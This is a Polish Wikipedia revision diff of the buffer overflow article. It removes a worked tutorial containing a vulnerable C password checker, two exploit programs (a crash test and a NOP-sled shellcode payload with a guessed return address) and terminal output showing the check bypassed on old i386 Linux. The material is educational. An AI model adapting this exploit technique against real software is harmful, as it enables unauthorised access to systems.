Przepełnienie bufora: Różnice pomiędzy wersjami

[wersja przejrzana][wersja przejrzana]
Usunięta treść Dodana treść
drobne techniczne
m Minus radosny tutorial hackowania systemów linuksopodobnych (OR, niska wartość dydaktyczna z uwagi na skąpe tłumaczenie)
Linia 10:
 
Także w przypadku, gdy bezpośrednie nadpisanie adresu powrotnego nie jest możliwe (np. ze względu na to, że podatny na atak bufor znajduje się w oddzielnym regionie pamięci), ataki typu ''buffer overflow'' mogą prowadzić do przejęcia kontroli nad systemem przez nadpisanie istotnych parametrów wykorzystywanych przez program lub biblioteki standardowe.
 
== Przykład w działaniu ==
 
:''(Poniższe rozważania wymagają znajomości [[C (język programowania)|języka C]] oraz [[asembler]]a.)''
 
Spróbujmy zaatakować bardzo prosty program, który sprawdza hasło podane w linii poleceń.
Załóżmy, że nie znamy hasła i nie mamy możliwości wyciągnięcia go z pliku binarnego.
Nie znamy też dokładnego kodu źródłowego, ale ponieważ program jest prosty i wiemy, co robi, możemy określić, jak wygląda.
 
<tt>hello.c</tt>:
<syntaxhighlight lang="c">
#include <string.h>
#include <stdio.h>
 
char password[] = "SecretPassword";
 
int main(int argc, char **argv)
{
char buf[256];
 
if (argc == 2)
strcpy(buf, argv[1]);
else
{
printf ("%s <password>\n", argv[0]);
return 1;
}
 
if (strcmp(buf, password) == 0)
{
printf ("Password OK\n");
return 0;
}
else
{
printf ("Bad password\n");
return 1;
}
}
</syntaxhighlight>
 
=== Dziura ===
 
Dziura polega na tym, że <tt>buf</tt> ma stałą wielkość i nie sprawdza się długości danych, które do niego kopiujemy.
Najpierw musimy sprawdzić, czy w ogóle występuje taka dziura i jeśli tak, to ile danych potrzeba, żeby przepełnić bufor.
 
<tt>./exploit1.c</tt>:
<syntaxhighlight lang="c">
#include <unistd.h>
 
char arg[] =
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
;
 
int main(int argc, char **argv)
{
execl("./hello", "./hello", arg, NULL);
return 0;
}
</syntaxhighlight>
 
<pre>
$ ./exploit1
Bad password
Segmentation fault
</pre>
 
320 bajtów (5 linii razy 64 bajty) wystarczyło. Możemy teraz znaleźć dokładną najmniejszą wartość, która wystarcza. Jak się okazuje, potrzeba 256+12 bajtów - mniejsza wartość nie powoduje błędu. W rzeczywistości kopiowany jest jeden bajt więcej - bajt o wartości 0 kończący napis. Oznacza to, że między buforem <tt>buf</tt> a adresem powrotu (któremu zwykle wystarczy nadpisać jeden bajt, żeby doprowadzić do katastrofy) znajduje się 12 bajtów, czyli 3 wartości typu <tt>int</tt> lub wskaźniki. Są to w naszym przypadku <tt>argc</tt>, <tt>argv</tt> i "tajny" argument funkcji <tt>main</tt> - <tt>envp</tt>.
 
=== Wykorzystanie ===
 
Musimy umieścić [[shellcode]] w buforze i nadpisać adres powrotu tak, żeby wskazywał na nasz shellcode. Ponieważ znalezienie dokładnego adresu wymaga wielu prób, uzupełniamy go dużą ilością instrukcji <tt>NOP</tt> (0x90), tak żeby wskaźnik mógł wskazywać na dowolny z początkowych bajtów bufora.
 
Nie mamy zbyt dużych ambicji w sprawie shellcodu - będzie on po prostu wychodził z wartością 0, odpowiadającej dobremu hasłu.
 
Ponieważ nie wiemy, jaka dokładnie jest lokalizacja bufora zawierającego shellcode,
jej adres (w odniesieniu do początku stosu, który na [[Linux|Linuksie]] na [[Intel 80386|i386]] zwykle znajduje się pod 0xc0000000) podany jest w linii komend do naszego exploitu.
 
<tt>exploit2.c</tt>:
<syntaxhighlight lang="c">
#include <unistd.h>
#include <stdlib.h>
 
char arg[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90"
"\x31\xc0" // xor %eax, %eax
"\x40" // inc %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80
"\xff\xff\xff\xbf"
;
 
int main(int argc, char **argv)
{
if (argc == 2)
*((int*)(&arg[256+12])) = 0xc0000000 - atoi (argv[1]);
 
execl("./hello", "./hello", arg, NULL);
return 0;
}
</syntaxhighlight>
 
Metodą prób i błędów (skakać można o ilość instrukcji NOP w shellcodzie):
<pre>
$ ./exploit2 1900
Bad password
Segmentation fault
$ ./exploit2 2100
Bad password
Segmentation fault
$ ./exploit2 2300
Bad password
$ echo $?
0
</pre>
 
==Zapobieganie==